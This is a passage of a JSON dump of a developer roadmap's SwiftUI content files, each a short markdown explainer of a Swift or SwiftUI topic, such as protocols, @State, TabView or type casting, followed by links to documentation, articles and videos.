    "content": "# Protocols\n\nA protocol in Swift defines a blueprint of methods, properties, and other requirements that suit a particular task or piece of functionality. Classes, structures, and enumerations can then adopt these protocols, providing concrete implementations for the requirements specified by the protocol. This allows you to define a common interface for different types, enabling polymorphism and code reusability.\n\nVisit the following resources to learn more:\n\n- [@official@Protocols](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/protocols/)\n- [@article@Swift Protocols](https://www.programiz.com/swift-programming/protocols)\n- [@article@The Power of Protocols in Swift](https://medium.com/@mumensh/the-power-of-protocols-in-swift-4cffcfa62ab1)\n- [@video@Swift Protocols - An Introduction](https://www.youtube.com/watch?v=vmQnTMWaDiY)\n- [@video@What is a Protocol in Swift and SwiftUI View protocol | Swift Basics #17](https://www.youtube.com/watch?v=nJmrkRlRu88)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/realm@RvR35apiPT5L4xD2PUKAO.md",
    "content": "# Realm\n\nRealm is a mobile database solution that offers a convenient and efficient way to store and manage data directly on a user's device. It's designed to be faster and easier to use than traditional databases like SQLite, providing a developer-friendly API for reading, writing, and querying data. Realm supports features like object relationships, data encryption, and real-time data synchronization, making it suitable for a wide range of mobile applications.\n\nVisit the following resources to learn more:\n\n- [@official@Realm](https://realm.netlify.app/)\n- [@opensource@Realm Swift](https://github.com/realm/realm-swift)\n- [@article@Integrating Realm Swift into Your iOS Projects: A Comprehensive Guide](https://bugfender.com/blog/realm-swift/)\n- [@video@Swift Realm Tutorial: How to use a local realm database with SwiftUI - iOS Basics](https://www.youtube.com/watch?v=oCVsFsY3TvM)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/repeatwhile@RCpClnQ3bwce4vLpG9zCa.md",
    "content": "# Repeat...While Loop\n\nThe `repeat...while` loop in Swift executes a block of code at least once, and then continues to repeat the block as long as a specified condition is true.  Unlike the `while` loop, which checks the condition *before* executing the code, the `repeat...while` loop checks the condition *after* executing the code. This guarantees that the code block will always run at least once.\n\nVisit the following resources to learn more:\n\n- [@official@Repeat-while Loop](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow/#Repeat-While)\n- [@video@Repeat loops – Swift in Sixty Seconds](https://www.youtube.com/watch?v=ROnXl0H45KE)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/result-builders@f0Nvu2IcZsCJXkK1kMfwa.md",
    "content": "# Result Builders\n\nResult builders in Swift provide a way to build up data structures, like views in SwiftUI, using a sequence of statements. They essentially transform a series of expressions into a single value, often an array or a more complex data structure. This allows you to write more declarative and readable code, especially when dealing with complex view hierarchies or data transformations.\n\nVisit the following resources to learn more:\n\n- [@official@Result-Building Methods](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/attributes/#resultBuilder)\n- [@article@Result builders](https://www.hackingwithswift.com/swift/5.4/result-builders)\n- [@article@Result builders in Swift explained with code examples](https://www.avanderlee.com/swift/result-builders/)\n- [@video@Result Builders in Action: Simplifying HTML Generation in Swift](https://www.youtube.com/watch?v=kZ7JPFUVv1w)\n- [@video@WWDC21: Write a DSL in Swift using result builders | Apple](https://www.youtube.com/watch?v=JODl427Ff_0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/return-types@AWhYlhCzP0V3rvYVDeb6A.md",
    "content": "# Return Types\n\nIn Swift, a return type specifies the kind of data a function or closure sends back to the caller after it has finished executing. If a function performs a calculation or processes data, the return type indicates what type of result you can expect. If a function doesn't return any value, its return type is `Void`, often represented as `()`.\n\nVisit the following resources to learn more:\n\n- [@official@Functions with Multiple Return Values](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/functions/#Defining-and-Calling-Functions)\n- [@article@Use Function Return Types in Swift](https://www.kodeco.com/books/swift-cookbook/v1.0/chapters/2-use-function-return-types-in-swift)\n- [@video@How to use Functions in Swift | Swift Basics #5](http://youtube.com/watch?v=kr3SSplrJlw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/sdks-for-wasm@M3ctRye03DqCwivmdnQ4u.md",
    "content": "# SDKs for WebAssembly (Wasm)\n\nWebAssembly (Wasm) is a binary instruction format designed as a portable compilation target for programming languages, enabling high-performance applications on the web and other environments. SDKs for Wasm allow developers to compile Swift and Swift UI code into Wasm, making it possible to run Swift applications in web browsers or other Wasm-compatible environments, effectively extending the reach of Swift beyond Apple's platforms.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started with Swift SDKs for WebAssembly](https://www.swift.org/documentation/articles/wasm-getting-started.html)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/semicolons@rGThKnBd0EXyx8Fh6QoX6.md",
    "content": "# Semicolons in Swift\n\nSemicolons (`;`) are used in Swift to separate multiple statements on a single line. While Swift doesn't require semicolons at the end of each statement like some other languages, they are necessary when you want to write more than one statement on the same line of code. Otherwise, Swift infers the end of a statement based on the line break.\n\nVisit the following resources to learn more:\n\n- [@official@Semicolons](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Semicolons)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/server-frameworks@gYcrVzB740nrRn3Tan6Gt.md",
    "content": "# Server Frameworks\n\nServer frameworks provide the tools and structure needed to build backend applications, APIs, and web services. They handle tasks like routing requests, managing data, and interacting with databases, allowing developers to focus on the core logic of their server-side applications. These frameworks enable Swift developers to create robust and scalable server-side solutions, complementing the client-side capabilities of Swift and SwiftUI."
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/state@UJEyJwuTiLeea6q0H9tIW.md",
    "content": "# @State\n\n`@State` is a property wrapper in SwiftUI that allows you to manage the state of a view. It's used to store values that can change over time and trigger updates to the view when they do. When a property is marked with `@State`, SwiftUI automatically manages the storage and ensures that the view is re-rendered whenever the value changes, reflecting the updated data in the user interface.\n\nVisit the following resources to learn more:\n\n- [@official@@State](https://developer.apple.com/documentation/swiftui/state)\n- [@official@Managing user interface state](https://developer.apple.com/documentation/swiftui/managing-user-interface-state)\n- [@article@What is the @State property wrapper?](https://www.hackingwithswift.com/quick-start/swiftui/what-is-the-state-property-wrapper)\n- [@video@SwiftUI - @State Property Wrapper Explained](https://www.youtube.com/watch?v=48JYBb5yJ0s)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/stateobject@pKVxtzPgA_88wyGF3dK-7.md",
    "content": "# @StateObject\n\n`@StateObject` is a property wrapper used to manage the lifecycle of reference type objects (classes) that hold state for a view. It ensures that the object is created only once when the view appears and persists across view updates, preventing the object from being re-initialized every time the view redraws. This is particularly useful for managing data that needs to be shared and maintained within a specific view's scope.\n\nVisit the following resources to learn more:\n\n- [@official@StateObject](https://developer.apple.com/documentation/swiftui/stateobject)\n- [@article@What is the @StateObject property wrapper?](https://www.hackingwithswift.com/quick-start/swiftui/what-is-the-stateobject-property-wrapper)\n- [@article@SwiftUI: StateObject x ObservedObject, when to use each one](https://pedroalvarez-29395.medium.com/swiftui-stateobject-x-observedobject-when-to-use-each-one-f738eb57ba6e)\n- [@video@DON'T Make this MISTAKE || StateObject vs ObservedObject | What's the Difference?](https://www.youtube.com/watch?v=RvzJLekIjRs)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/static-linux-sdk@vVcCHY2iq2f-qdIDBWJ5O.md",
    "content": "# Static Linux SDK\n\nA Static Linux SDK allows you to compile Swift code into standalone executables that can run on Linux systems without requiring a full Swift runtime environment to be installed. This is achieved by bundling all necessary Swift libraries and dependencies directly into the executable file, making it self-contained and portable. This approach simplifies deployment and reduces dependency conflicts, as the application carries everything it needs to run.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started withStatic Linux SDK](https://www.swift.org/documentation/articles/static-linux-getting-started.html)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/stored@r-jFJSdOVbCVLosImofac.md",
    "content": "# Stored Properties\n\nStored properties are variables or constants that are part of a structure or class. They hold data directly within an instance of that structure or class.  Think of them as the \"things\" an object *has*.  You define them with `var` for variables (values that can change) and `let` for constants (values that cannot change after initialization).\n\nVisit the following resources to learn more:\n\n- [@official@Stored Properties](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/properties#Stored-Properties)\n- [@video@How to compute property values dynamically – Swift for Complete Beginners](https://www.youtube.com/watch?v=UEvKhKviPRw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/strict-concurrency-checking@GWh98EbRBe2xGEAYrCA30.md",
    "content": "# Strict Concurrency Checking\n\nStrict concurrency checking is a feature that helps you write safer and more reliable concurrent code. It detects potential data races and other concurrency-related issues at compile time, preventing unexpected behavior and crashes when your app runs. By enforcing rules about how data can be accessed from different threads, it ensures that your concurrent code is predictable and avoids common pitfalls like simultaneous modification of shared resources.\n\nVisit the following resources to learn more:\n\n- [@official@Updating an app to use strict concurrency](https://developer.apple.com/documentation/Swift/updating-an-app-to-use-strict-concurrency)\n- [@official@Adopting strict concurrency in Swift 6 apps](https://developer.apple.com/documentation/swift/adoptingswift6)\n- [@article@Understanding the New Swift 6 Concurrency Features](https://medium.com/@nimjea/understanding-the-new-swift-6-concurrency-features-3bff267426cc)\n- [@video@Swift concurrency: Update a sample app](https://developer.apple.com/videos/play/wwdc2021/10194/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/strings@llXPXjYS801GhnNPdsApZ.md",
    "content": "# Strings in Swift\n\nIn Swift, a string is a sequence of characters, like letters, numbers, and symbols. It's a fundamental data type used to represent text. You can create strings using string literals (text enclosed in double quotes) or by combining other strings and values. Strings in Swift are Unicode-compliant, meaning they can represent characters from various languages.\n\nVisit the following resources to learn more:\n\n- [@official@Strings and Characters](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/stringsandcharacters/)\n- [@article@Working with Strings in Swift: A Developer’s Handbook](https://vikramios.medium.com/strings-in-swift-76a21b4268c6)\n- [@video@Working with strings in Swift – Swift Strings, part 3](https://www.youtube.com/watch?v=AthqAjYhZLw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/structures--classes@thS85PP8famziViKq49Tq.md",
    "content": "# Structures & Classes\n\nStructures and classes are fundamental building blocks in Swift for creating custom data types. They allow you to group related variables (properties) and functions (methods) into a single, reusable unit. Structures are value types, meaning they are copied when passed around, while classes are reference types, meaning they share a single instance in memory. This difference impacts how data is modified and shared within your application.\n\nVisit the following resources to learn more:\n\n- [@official@Structures & Classes](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/classesandstructures)\n- [@official@Choosing Between Structures and Classes](https://developer.apple.com/documentation/swift/choosing-between-structures-and-classes)\n- [@article@Class vs Struct in swift](https://medium.com/@muhammad.cse11/class-vs-struct-in-swift-dcc7ad6f5a99)\n- [@video@Introduction to Swift: Structs](https://www.youtube.com/watch?v=d13uCPrmEXM)\n- [@video@Introduction to Swift: Classes](https://www.youtube.com/watch?v=s_x49coTM4g)\n- [@video@Swift - Class vs. Struct Explained](https://www.youtube.com/watch?v=LtlbB4-6k_U)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/subscripts@ABT037yTlXpAenBK9Mknt.md",
    "content": "# Subscripts\n\nSubscripts are shortcuts for accessing elements within a collection, list, or sequence. They allow you to query instances of a type by writing one or more values in square brackets after the instance name. You can define subscripts on classes, structures, and enumerations, and they can take a single parameter or multiple parameters of any type. Subscripts make it possible to access and set values using a familiar syntax, similar to how you access elements in an array or dictionary.\n\nVisit the following resources to learn more:\n\n- [@official@Subscripts](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/subscripts/)\n- [@article@Swift - Subscripts](https://medium.com/@jaisingh.darshana/understanding-subscripts-in-swift-and-the-need-for-safe-subscripts-c1c306ed8083)\n- [@article@Custom subscripts in Swift explained with code examples](https://www.avanderlee.com/swift/custom-subscripts/)\n- [@video@How to use Subscripts in Swift | Advanced Learning #32](https://www.youtube.com/watch?v=hiOjTJgl6GU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-charts@VT6nRTnNsEKLWrKsghKFR.md",
    "content": "# Swift Charts\n\nSwift Charts is a framework within Swift that allows you to create a variety of visually appealing and informative charts directly in your applications. It provides a declarative syntax for defining chart types, data sources, and visual customizations, making it easier to represent data clearly and understandably. With Swift Charts, you can build charts like bar charts, line charts, scatter plots, and more, all while leveraging the power and flexibility of the Swift language and SwiftUI.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Charts](https://developer.apple.com/documentation/charts)\n- [@official@Creating a chart using Swift Charts](https://developer.apple.com/documentation/charts/creating-a-chart-using-swift-charts)\n- [@video@Hello Swift Charts](https://developer.apple.com/videos/play/wwdc2022/10136/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-for-server-apps@CYnuCu6jRa6ExrSBwQF_a.md",
    "content": "# Swift for Server Apps\n\nSwift isn't just for iOS and macOS apps; it can also be used to build server-side applications. This allows developers to use their existing Swift knowledge to create backends, APIs, and other server-side components, potentially leading to more efficient development workflows and code sharing between client and server. Frameworks like Vapor and Kitura provide the necessary tools and libraries to build robust and scalable server applications using Swift.\n\nVisit the following resources to learn more:\n\n- [@official@Swift on Server](https://www.swift.org/documentation/server/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-log@v6FKxFW0SMaH_hXCIAnyA.md",
    "content": "# Swift-Log\n\n`swift-log` is a logging API for Swift that provides a standardized way to record messages from your code. It allows you to capture information about your application's behavior, errors, and performance, making it easier to diagnose issues and understand how your code is running. With `swift-log`, you can configure different logging levels (such as debug, info, warning, and error) and direct the output to various destinations, including the console, files, or external logging services.\n\nVisit the following resources to learn more:\n\n- [@official@swift-log](https://github.com/apple/swift-log)\n- [@official@Log Levels](https://www.swift.org/documentation/server/guides/libraries/log-levels.html)\n- [@official@Generating Log Messages from Your Code](https://developer.apple.com/documentation/os/generating-log-messages-from-your-code)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-nio@vpV45shc5onmenUP_tIpb.md",
    "content": "# SwiftNIO\n\nSwiftNIO is a low-level, cross-platform asynchronous event-driven network application framework. It enables the development of high-performance protocol servers and clients in Swift. It provides building blocks for handling network connections, data transfer, and event processing without blocking the main thread, making it suitable for applications requiring scalability and responsiveness.\n\nVisit the following resources to learn more:\n\n- [@opensource@swift-nio](https://github.com/apple/swift-nio)\n- [@article@SwiftNIO Fundamentals](https://swiftonserver.com/using-swiftnio-fundamentals/)\n- [@video@Swift NIO MUD tutorial](https://www.youtube.com/watch?v=-xVrOwNLPTg&list=PLhUrOtMlcKDAa0_WYh_J4vQ6Lzw0DvLLK)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-package-index@dajwi7gUyB3Jyyl2QbazS.md",
    "content": "# Swift Package Index\n\nThe Swift Package Index is a comprehensive catalog and search engine for Swift packages. It allows developers to discover, explore, and evaluate Swift packages that can be integrated into their projects. It provides information about package compatibility, documentation, and other relevant details, making it easier to find and use open-source Swift libraries.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Package Index](https://swiftpackageindex.com/)\n- [@video@Swift Package Index - How To Use It](https://www.youtube.com/watch?v=ePzGOuvjlpI)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-package-manager@YNfVAMdAK9vI0bUkvdVyc.md",
    "content": "# Swift Package Manager\n\nThe Swift Package Manager is a tool for managing dependencies in your Swift projects. It automates the process of downloading, building, and linking external libraries and frameworks into your code. This allows you to easily reuse code written by others and share your own code with the Swift community, promoting modularity and code reuse.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Package Manager](https://docs.swift.org/swiftpm/documentation/packagemanagerdocs/)\n- [@opensource@swift-package-manager](https://github.com/swiftlang/swift-package-manager)\n- [@article@Mastering Swift Package Manager: A Comprehensive Guide](https://medium.com/@dipenapanchasara/mastering-swift-package-manager-a-comprehensive-guide-5e06f29d812d)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-playgrounds@ewhk18ChvKJM9U_ziZ8Iq.md",
    "content": "# Swift Playgrounds\n\nSwift Playgrounds is an Apple application designed to teach coding in a fun and interactive way. It uses a game-like environment where users learn Swift programming concepts by solving puzzles and completing challenges. It's available on iPad and Mac, making it accessible for beginners and experienced programmers alike to experiment with Swift and build interactive projects.\n\nVisit the following resources to learn more:\n\n- [@official@Learn to code with Swift Playground](https://www.apple.com/swift/playgrounds/)\n- [@video@Swift Playgrounds- Boxed In Tutorial](https://www.youtube.com/watch?v=0gC0kcg0_jM)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-testing@EBvuWsdwRLiMe5feESXgZ.md",
    "content": "# Swift Testing\n\nThe Swift Testing library allows you to leverage the powerful and expressive capabilities of the Swift programming language to develop tests with more confidence and less code. The library integrates seamlessly with Swift Package Manager testing workflow, supports flexible test organization, customizable metadata, and scalable test execution.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Testing](https://developer.apple.com/documentation/testing)\n- [@official@Swift Testing](https://developer.apple.com/xcode/swift-testing/)\n- [@opensource@swift-testing](https://github.com/swiftlang/swift-testing)\n- [@article@Swift Testing: Writing a Modern Unit Tests](https://www.avanderlee.com/swift-testing/modern-unit-test/)\n- [@video@WWDC24: Meet Swift Testing | Apple](https://www.youtube.com/watch?v=WFnkNcvLnCI)\n- [@video@Getting Started with Unit Testing for iOS Development in Swift | Xcode 16](https://www.youtube.com/watch?v=CsuUwdoVwyw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swift-vs-objective-c@oPz8e_X_LaiowAZYavVgY.md",
    "content": "# Swift vs. Objective-C\n\nSwift and Objective-C are both programming languages used to develop applications for Apple's operating systems (iOS, macOS, watchOS, tvOS). Objective-C is an older language, built as an extension of C, while Swift is a more modern language designed to be safer, faster, and easier to learn. Swift offers features like type safety, optionals, and a more concise syntax, making it a preferred choice for new Apple platform development.\n\nVisit the following resources to learn more:\n\n- [@article@Objective-C vs Swift: iOS Comparison [2025 Update]](https://www.netguru.com/blog/objective-c-vs-swift)\n- [@article@Swift and Objective-C: An In-Depth Comparison of iOS Programming Languages](https://shakuro.com/blog/swift-vs-objective-c)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swiftdata@QPBuLcgz4GNd94bJsv6LU.md",
    "content": "# SwiftData\n\nSwiftData is Apple's modern framework for managing an app's data model and persisting data locally. It provides a declarative and type-safe way to define your data schema, interact with the underlying storage (typically SQLite), and manage relationships between different data entities. SwiftData integrates seamlessly with SwiftUI, making it easy to fetch, display, and modify data directly within your user interface.\n\nVisit the following resources to learn more:\n\n- [@official@SwiftData](https://developer.apple.com/documentation/swiftdata)\n- [@article@SwiftData by Example](https://www.hackingwithswift.com/quick-start/swiftdata)\n- [@video@SwiftData Basics in 15 minutes](https://www.youtube.com/watch?v=krRkm8w22A8)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swiftui-inspector@ORk-aG_KxdVcyRwFyZFp1.md",
    "content": "# SwiftUI Inspector\n\nThe SwiftUI Inspector is a built-in tool within Xcode that allows developers to examine and modify the properties of SwiftUI views in real-time while an app is running, either in the simulator or on a physical device. It provides a visual interface to inspect the view hierarchy, adjust attributes like colors, fonts, and layout constraints, and immediately see the changes reflected in the app's UI, facilitating rapid prototyping and debugging.\n\nVisit the following resources to learn more:\n\n- [@official@inspector](https://developer.apple.com/documentation/SwiftUI/View/inspector(isPresented:content:))\n- [@article@How to add an inspector to any view](https://www.hackingwithswift.com/quick-start/swiftui/how-to-add-an-inspector-to-any-view)\n- [@article@Presenting an Inspector with SwiftUI](https://www.createwithswift.com/presenting-an-inspector-with-swiftui/)\n- [@video@Inspectors in SwiftUI: Discover the details](https://www.youtube.com/watch?v=l0ksmCylJRc)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/swiftui-with-asyncawait@gaQqVwxVK7_sYTHCCRBvc.md",
    "content": "# SwiftUI with Async/Await\n\nAsync/Await is a programming paradigm that simplifies asynchronous code, making it easier to read and manage. In SwiftUI, it allows you to perform long-running tasks, like network requests or data processing, without blocking the main thread, ensuring your app remains responsive. This approach replaces traditional completion handlers with a more sequential and cleaner syntax, improving code readability and reducing complexity when dealing with asynchronous operations in your SwiftUI applications.\n\nVisit the following resources to learn more:\n\n- [@official@Defining and Calling Asynchronous Functions](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency/#Defining-and-Calling-Asynchronous-Functions)\n- [@official@Updating an App to Use Swift Concurrency](https://developer.apple.com/documentation/swift/updating_an_app_to_use_swift_concurrency)\n- [@article@Async await in Swift explained with code examples](https://www.avanderlee.com/swift/async-await/)\n- [@article@Async await](https://www.hackingwithswift.com/swift/5.5/async-await)\n- [@article@Async/await in Swift and SwiftUI](https://dev.to/matteom/asyncawait-in-swift-and-swiftui-2b8n)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/switch--case@hODKmqbFLKIulHgXqhh6B.md",
    "content": "# Switch/Case Statements\n\nA `switch` statement allows you to control which block of code is executed based on the value of a variable or expression. It compares the value against several possible cases, and executes the code associated with the first matching case. Unlike some other languages, Swift's `switch` statements don't require a `break` statement after each case; execution automatically stops after the code for a matching case is run.\n\nVisit the following resources to learn more:\n\n- [@official@Switch](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow/#Switch)\n- [@video@How to use switch statements to check multiple conditions – Swift for Complete Beginners](https://www.youtube.com/watch?v=cDpJy4Y7OYE)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/tabview@AE6CX6Gp7GtK0YAfdI_gb.md",
    "content": "# TabView\n\nTabView allows you to create an interface with multiple distinct views, each accessible through a tab bar at the bottom (or top, depending on the platform). It's a container view that manages a collection of child views, presenting one at a time based on the user's tab selection. Each tab can be associated with an image and text label, providing a clear and intuitive way for users to navigate between different sections of your app.\n\nVisit the following resources to learn more:\n\n- [@official@TabView](https://developer.apple.com/documentation/swiftui/tabview)\n- [@official@Enhancing your app’s content with tab navigation](https://developer.apple.com/documentation/swiftui/enhancing-your-app-content-with-tab-navigation)\n- [@article@SwiftUI TabView: Explained with Code Examples](https://www.avanderlee.com/swiftui/tabview-tabbed-views/)\n- [@video@SwiftUI TabView Tutorial](https://www.youtube.com/watch?v=JqQQozkFeJU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/tasks--task-groups@D9muzTnim2h7VSWmLeCFW.md",
    "content": "# Tasks & Task Groups\n\nTasks in Swift's concurrency model represent units of work that can be executed concurrently. Task Groups allow you to create and manage collections of child tasks, enabling you to perform parallel operations and aggregate their results. This provides a structured way to break down complex operations into smaller, manageable, and concurrent units, improving performance and responsiveness in your applications.\n\nVisit the following resources to learn more:\n\n- [@official@Tasks & Task Groups](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency/#Tasks-and-Task-Groups)\n- [@article@What are tasks and task groups?](https://www.hackingwithswift.com/quick-start/concurrency/what-are-tasks-and-task-groups)\n- [@article@How to create a task group and add tasks to it](https://www.hackingwithswift.com/quick-start/concurrency/how-to-create-a-task-group-and-add-tasks-to-it)\n- [@article@Task Groups in Swift explained with code examples](https://www.avanderlee.com/concurrency/task-groups-in-swift/)\n- [@video@How to use Task and .task in Swift | Swift Concurrency #4](https://www.youtube.com/watch?v=fTtaEYo14jI)\n- [@video@How to use TaskGroup to perform concurrent Tasks in Swift | Swift Concurrency #6](https://www.youtube.com/watch?v=epBbbysk5cU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/testing@H3-EwjQukBJJL1agH-giQ.md",
    "content": "# Testing\n\nTesting involves writing code to verify that your app functions correctly automatically. This includes checking individual units of code (unit tests), ensuring different parts of your app work together seamlessly (integration tests), and validating the overall user experience (UI tests). By writing tests, you can catch bugs early, prevent regressions, and ensure the reliability of your application."
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/text@RI0iYd7ZI7L3yk4Wf2JES.md",
    "content": "# Text\n\n`Text` is a fundamental view used to display static, read-only text on the screen. It allows you to present strings, apply formatting like fonts, colors, and styles, and handle localization for different languages. You can use `Text` to create labels, descriptions, headings, and any other textual content within your app's user interface.\n\nVisit the following resources to learn more:\n\n- [@official@Text](https://developer.apple.com/documentation/swiftui/text)\n- [@article@How to style text views with fonts, colors, line spacing, and more](https://www.hackingwithswift.com/quick-start/swiftui/how-to-style-text-views-with-fonts-colors-line-spacing-and-more)\n- [@article@Creating a SwiftUI text view with tappable links](https://danielsaidi.com/blog/2024/12/18/creating-a-swiftui-text-view-with-tappable-links)\n- [@video@Styling SwiftUI Text Views](https://www.youtube.com/watch?v=rbtIcKKxQ38)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/throwing@E0nBPRzPkzx9BKaCfweSb.md",
    "content": "# Throwing Errors in Swift\n\nThrowing errors allows you to signal that something unexpected or problematic has occurred during the execution of your code. When a function encounters a situation it can't handle normally, it can `throw` an error. This error is then passed up the call stack until it's `caught` and handled by an appropriate error handling mechanism, preventing the program from crashing and allowing for graceful recovery or reporting of the issue.\n\nVisit the following resources to learn more:\n\n- [@official@Throwing Errors](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/errorhandling/#Representing-and-Throwing-Errors)\n- [@article@Error handling in Swift](https://blorenzop.medium.com/error-handling-in-swift-f9ca87490e26)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/trailing-closures@0onr5oXzArGN5Oqc4K2rp.md",
    "content": "# Trailing Closures\n\nA trailing closure is a closure that's written after the function's parentheses. If a function's last parameter is a closure, you can pass the closure outside of the parentheses when you call the function. This syntax makes the code more readable, especially when the closure is long and complex. It's a syntactic sugar that simplifies how you pass closures as arguments to functions.\n\nVisit the following resources to learn more:\n\n- [@official@Trailing Closures](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/closures#Trailing-Closures)\n- [@video@Trailing closure syntax](https://www.hackingwithswift.com/sixty/6/5/trailing-closure-syntax)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/transitions@hZYzZntkSsx89c4jesxEo.md",
    "content": "# Transitions\n\nTransitions define how views appear and disappear from the screen. They control the visual effects applied during these changes, allowing you to create smooth and engaging user experiences. You can customize transitions to include effects like fading, sliding, scaling, or even more complex animations, making your app feel polished and responsive.\n\nVisit the following resources to learn more:\n\n- [@official@Transition](https://developer.apple.com/documentation/swiftui/transition)\n- [@official@Animating views and transitions](https://developer.apple.com/tutorials/swiftui/animating-views-and-transitions)\n- [@article@Creating view transitions in SwiftUI](https://www.createwithswift.com/creating-view-transitions-in-swiftui/)\n- [@article@How to add and remove views with a transition](https://www.hackingwithswift.com/quick-start/swiftui/how-to-add-and-remove-views-with-a-transition)\n- [@video@How to use Transition in SwiftUI | Bootcamp #27](https://www.youtube.com/watch?v=X6FAIa0nJoA)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/tuples@s7sdqYwqbXaF6Wli79l8e.md",
    "content": "# Tuples in Swift\n\nTuples in Swift are a way to group multiple values into a single compound value. Unlike arrays, the values within a tuple can be of different types. You define a tuple by enclosing the values within parentheses, separated by commas. For example, `(1, \"hello\", true)` is a tuple containing an integer, a string, and a boolean. You can access the individual values in a tuple either by their position (starting from 0) or by naming the elements when you define the tuple.\n\nVisit the following resources to learn more:\n\n- [@official@Tuples](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Tuples)\n- [@video@How to use Tuples in Swift | Swift Basics](https://www.youtube.com/watch?v=zsjCrtENsZA)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/type-annotations@E-kALuBRAX3C06SfcD1Sk.md",
    "content": "# Type Annotations\n\nType annotations in Swift are a way to explicitly specify the type of a variable or constant.  Instead of letting Swift infer the type based on the initial value, you tell the compiler exactly what kind of data the variable will hold, such as an `Int`, `String`, or `Bool`. This provides clarity and can help catch errors during compilation.\n\nVisit the following resources to learn more:\n\n- [@article@Type Annotations](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Type-Annotations)\n- [@video@How to use type annotations – Swift for Complete Beginners](https://www.youtube.com/watch?v=_FX8xCBmbeA)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/type-casting@Yvc5PFi1CZQcf8qVnaF7q.md",
    "content": "# Type Casting\n\nType casting is a way to check the type of an instance, or to treat that instance as if it were a different superclass or subclass from somewhere else in its own class hierarchy. It's essentially a way to access an object as a different type than it was originally declared to be. Swift provides `is` and `as` operators to perform type checking and casting, allowing you to safely work with different types at runtime.\n\nVisit the following resources to learn more:\n\n- [@official@Type Casting](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/typecasting/)\n- [@article@Type Casting in Swift](https://medium.com/@talhasaygili/type-casting-in-swift-f42102ea5700)\n- [@article@What is Type Casting in Swift?](https://www.tutorialspoint.com/swift/swift_type_casting.htm)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/type-inference@8nk8GhZH3t-rq6g47rspD.md",
    "content": "# Type Inference\n\nType inference is a feature in Swift that allows the compiler to automatically deduce the data type of a variable or constant based on the value assigned to it. This means you don't always have to explicitly declare the type when creating variables; Swift can figure it out for you, making your code cleaner and more concise.\n\nVisit the following resources to learn more:\n\n- [@course@Type Inference](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Type-Safety-and-Type-Inference)\n- [@video@#10 Swift Programming - Clear Clean Code Using Type Safety and Inference](https://www.youtube.com/watch?v=bgtU62Mkj0A)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/type-safety@FndEtBUVfWAYs01gFLKG_.md",
